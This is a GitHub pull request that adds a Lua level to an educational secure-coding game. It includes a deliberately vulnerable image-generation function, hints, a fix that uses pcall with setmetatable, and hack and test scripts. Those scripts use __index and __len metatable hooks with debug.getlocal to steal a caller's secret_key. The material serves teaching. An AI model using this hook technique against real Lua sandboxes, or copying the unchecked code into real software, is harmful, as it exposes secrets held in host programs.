-
Notifications
You must be signed in to change notification settings - Fork 298
Adding New Level: Lua Metatable hooks #128
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
base: main
Are you sure you want to change the base?
Changes from 9 commits
c681c45
f6d51b6
912f5d2
610d2cb
e119b0b
4830285
d7f6a73
8440d02
6877152
45e231c
276fc01
648eeb2
79e983d
e3427f6
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,9 +1,16 @@ | ||
{ | ||
"onCreateCommand": "sudo apt-get update && sudo apt-get -y install libldap2-dev libsasl2-dev && pip3 install pyOpenSSL && pip3 install -r requirements.txt", | ||
"onCreateCommand": "sudo apt-get update && sudo apt-get -y install libldap2-dev libsasl2-dev lua5.4 && pip3 install pyOpenSSL && pip3 install -r requirements.txt", | ||
"customizations": { | ||
"vscode": { | ||
"extensions": ["ms-python.python", "ms-python.vscode-pylance", "ms-vscode.cpptools-extension-pack", "redhat.vscode-yaml", "golang.go"] | ||
"extensions": [ | ||
"ms-python.python", | ||
"ms-python.vscode-pylance", | ||
"ms-vscode.cpptools-extension-pack", | ||
"redhat.vscode-yaml", | ||
"golang.go", | ||
"sumneko.lua" | ||
] | ||
} | ||
}, | ||
"postCreateCommand": "npm install --prefix Season-2/Level-3/ Season-2/Level-3/ && npm install --global mocha" | ||
} | ||
} |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
-- Welcome to Secure Code Game Season-3/Level-1! | ||
|
||
-- Follow the instructions below to get started: | ||
|
||
-- 1. tests.lua is passing but the code is vulnerable | ||
-- 2. Review the code. Can you spot the bugs(s)? | ||
-- 3. Fix the code.lua, but ensure that tests.lua passes | ||
-- 4. Run hack.lua and if passing then CONGRATS! | ||
-- 5. If stuck then read the hint | ||
-- 6. Compare your solution with solution/solution.go | ||
|
||
local module = {} | ||
|
||
|
||
--- Generates a bitmap image | ||
-- @param request: The table which we will populate with images | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. I understand what you try to say but please rewrite it in a more explanatory way, such as for example that the table will contain pixels for the image that will be populated and it's being represented as a table. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Went into a bit more depth in the comment |
||
-- @return table: Of the sources now with the generated bitmaps to display | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
module.generate_bmps = function(request) | ||
-- Do not delete | ||
local secret_key = "I love my mama" | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
-- End of do not delete | ||
|
||
if type(request) ~= "table" then | ||
return "Invalid request" | ||
end | ||
for i = 1, #request, 1 do | ||
if type(request[i].source) ~= "string" then | ||
-- This will display an error image to the user, letting the know something is wrong | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
request[i] = { source = "Bad request", image = "Error Image" } | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. improve the error message by writing a more descriptive one. There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. This isn't really meant to be an error message, in the context of the story if a user sends a bad request then make their display show an error image, in reality it would be a bitmap blob of an error. |
||
else | ||
request[i].image = "Cat pictures" | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
end | ||
end | ||
return request | ||
end | ||
|
||
|
||
|
||
return module |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,89 @@ | ||
-- This file exploits the vulnerabilities in code. Running this file will fail initially | ||
-- (it contains failing tests). As all other levels, your goal is to get this file to pass. | ||
|
||
-- Run them by opening a terminal and running the following: | ||
-- $ (cd Season-3/Level-1/ && lua hack.lua) | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
local code = require("code") | ||
|
||
|
||
local indexHookExploit = function() | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
local malicous_code_executed = false | ||
|
||
local malicous_metatable = { | ||
__metatable = {}, | ||
__index = function(og_table, index) | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
print("[SCRIPT EXECUTING]") | ||
malicous_code_executed = true | ||
local variables = {} | ||
local idx = 1 | ||
while true do | ||
local ln, lv = debug.getlocal(2, idx) | ||
if ln ~= nil then | ||
variables[ln] = lv | ||
else | ||
break | ||
end | ||
idx = 1 + idx | ||
end | ||
|
||
og_table.recieving_payload = variables["secret_key"] | ||
|
||
return "Get PWNED" | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
end | ||
} | ||
|
||
local odd_request = { { source = "Legit link", image = nil }, nil, { source = "Another legit link", image = nil } } | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
local malicous_metatable = setmetatable(odd_request, malicous_metatable) | ||
local result = code.generate_bmps(malicous_metatable) | ||
|
||
if type(result) == "table" and result.recieving_payload ~= nil then | ||
print("Malicous payload recieved: ", result.recieving_payload) | ||
end | ||
|
||
print(not malicous_code_executed) | ||
end | ||
|
||
local lengthHookExploit = function() | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
local malicous_code_executed = false | ||
|
||
local malicous_metatable = { | ||
__metatable = {}, | ||
__len = function(og_table) | ||
print("[SCRIPT EXECUTING]") | ||
malicous_code_executed = true | ||
local variables = {} | ||
local idx = 1 | ||
while true do | ||
local ln, lv = debug.getlocal(2, idx) | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
if ln ~= nil then | ||
variables[ln] = lv | ||
else | ||
break | ||
end | ||
idx = 1 + idx | ||
end | ||
|
||
og_table.recieving_payload = variables["secret_key"] | ||
|
||
return 3 | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
end | ||
} | ||
|
||
local odd_request = { | ||
{ source = "Legit link", image = nil }, | ||
{ source = "Another legit link", image = nil }, | ||
{ source = "Another legit boring link", image = nil } | ||
} | ||
local malicous_metatable = setmetatable(odd_request, malicous_metatable) | ||
local result = code.generate_bmps(malicous_metatable) | ||
|
||
if type(result) == "table" and result.recieving_payload ~= nil then | ||
print("Malicous payload recieved: ", result.recieving_payload) | ||
end | ||
|
||
print(not malicous_code_executed) | ||
end | ||
|
||
lengthHookExploit() | ||
indexHookExploit() |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,4 @@ | ||
Seems like when we index the table something else happens. | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
What is hack.lua doing to enable it to run the code? | ||
|
||
Try to solve it without hint 2 |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
This has got to do with metatables. Maybe read the docs to find out how we could detect if a metatable is set? | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
-- Welcome to Secure Code Game Season-3/Level-1! | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
|
||
--[[Attempt to sanitize the request by calling setmetatable on it | ||
We know that if the __metatable property is set setmetatable will fail | ||
thus why we make a protected call, and if it succeeds we can continue. | ||
If it fails we know someone is trying to do a metatable exploit | ||
--]] | ||
|
||
|
||
-- Full solution: | ||
|
||
local module = {} | ||
|
||
--- Generates a bitmap image | ||
-- @param request: The table which we will populate with images | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
-- @return table: Of the sources now with the generated bitmaps to display | ||
module.generate_bmps = function(request) | ||
-- Do not delete | ||
local secret_key = "I love my mama" | ||
-- End of do not delete | ||
|
||
if type(request) ~= "table" then | ||
return "Invalid request" | ||
end | ||
|
||
local isNotMalicous, errVal = pcall(function() | ||
setmetatable(request, {}) | ||
end) | ||
|
||
if not isNotMalicous then | ||
return "Invalid request" | ||
end | ||
|
||
for i = 1, #request, 1 do | ||
local isNotMalicous, errVal = pcall(function() | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
setmetatable(request[i], {}) | ||
end) | ||
|
||
if not isNotMalicous then | ||
return "Invalid request" | ||
end | ||
|
||
if type(request[i].source) ~= "string" then | ||
-- This will display an error image to the user, letting the know something is wrong | ||
request[i] = { source = "Bad request", image = "Error Image" } | ||
else | ||
request[i].image = "Cat pictures" | ||
end | ||
end | ||
return request | ||
end | ||
|
||
|
||
|
||
return module |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,149 @@ | ||
-- Run solution_test.lua by following the instructions below: | ||
|
||
-- This file is a copy of code_test.go and hack_test.go | ||
TheDarkThief marked this conversation as resolved.
Show resolved
Hide resolved
|
||
-- It tests the solution for failing and passing payloads | ||
|
||
-- Run them by opening a terminal and running the following: | ||
-- $ (cd Season-3/Level-1/solution && lua solution_test.lua) | ||
|
||
local code = require("solution") | ||
|
||
|
||
local indexHookExploit = function() | ||
local malicous_code_executed = false | ||
|
||
local malicous_metatable = { | ||
__metatable = {}, | ||
__index = function(og_table, index) | ||
print("[SCRIPT EXECUTING]") | ||
malicous_code_executed = true | ||
local variables = {} | ||
local idx = 1 | ||
while true do | ||
local ln, lv = debug.getlocal(2, idx) | ||
if ln ~= nil then | ||
variables[ln] = lv | ||
else | ||
break | ||
end | ||
idx = 1 + idx | ||
end | ||
|
||
og_table.recieving_payload = variables["secret_key"] | ||
|
||
return "Get PWNED" | ||
end | ||
} | ||
|
||
local odd_request = { { source = "Legit link", image = nil }, nil, { source = "Another legit link", image = nil } } | ||
local malicous_metatable = setmetatable(odd_request, malicous_metatable) | ||
local result = code.generate_bmps(malicous_metatable) | ||
|
||
if type(result) == "table" and result.recieving_payload ~= nil then | ||
print("Malicous payload recieved: ", result.recieving_payload) | ||
end | ||
|
||
print(not malicous_code_executed) | ||
end | ||
|
||
local lengthHookExploit = function() | ||
local malicous_code_executed = false | ||
|
||
local malicous_metatable = { | ||
__metatable = {}, | ||
__len = function(og_table) | ||
print("[SCRIPT EXECUTING]") | ||
malicous_code_executed = true | ||
local variables = {} | ||
local idx = 1 | ||
while true do | ||
local ln, lv = debug.getlocal(2, idx) | ||
if ln ~= nil then | ||
variables[ln] = lv | ||
else | ||
break | ||
end | ||
idx = 1 + idx | ||
end | ||
|
||
og_table.recieving_payload = variables["secret_key"] | ||
|
||
return 3 | ||
end | ||
} | ||
|
||
local odd_request = { | ||
{ source = "Legit link", image = nil }, | ||
{ source = "Another legit link", image = nil }, | ||
{ source = "Another legit boring link", image = nil } | ||
} | ||
local malicous_metatable = setmetatable(odd_request, malicous_metatable) | ||
local result = code.generate_bmps(malicous_metatable) | ||
|
||
if type(result) == "table" and result.recieving_payload ~= nil then | ||
print("Malicous payload recieved: ", result.recieving_payload) | ||
end | ||
|
||
print(not malicous_code_executed) | ||
end | ||
|
||
|
||
local does_it_return_cats = function() | ||
local our_normal_request = { | ||
{ source = "Legit link", image = nil }, | ||
{ source = "Another legit link", image = nil }, | ||
{ source = "Another legit boring link", image = nil } | ||
} | ||
|
||
local expected_result = { | ||
{ source = "Legit link", image = "Cat pictures" }, | ||
{ source = "Another legit link", image = "Cat pictures" }, | ||
{ source = "Another legit boring link", image = "Cat pictures" } | ||
} | ||
|
||
local result = code.generate_bmps(our_normal_request) | ||
|
||
local isValid = true | ||
|
||
|
||
for key, value in pairs(result) do | ||
if not (value.source == expected_result[key].source and value.image == expected_result[key].image) then | ||
isValid = false | ||
end | ||
end | ||
|
||
print(isValid) | ||
end | ||
|
||
local does_it_hanlde_malformed_requests = function() | ||
local our_normal_request = { | ||
{ source = "Legit link", image = nil }, | ||
{ source = 1, image = nil }, | ||
{ source = "legit boring link", image = nil } | ||
} | ||
|
||
local expected_result = { | ||
{ source = "Legit link", image = "Cat pictures" }, | ||
{ source = "Bad request", image = "Error Image" }, | ||
{ source = "legit boring link", image = "Cat pictures" } | ||
} | ||
|
||
local result = code.generate_bmps(our_normal_request) | ||
|
||
local isValid = true | ||
|
||
|
||
for key, value in pairs(result) do | ||
if not (value.source == expected_result[key].source and value.image == expected_result[key].image) then | ||
isValid = false | ||
end | ||
end | ||
|
||
print(isValid) | ||
end | ||
|
||
does_it_return_cats() | ||
does_it_hanlde_malformed_requests() | ||
|
||
lengthHookExploit() | ||
indexHookExploit() |
Uh oh!
There was an error while loading. Please reload this page.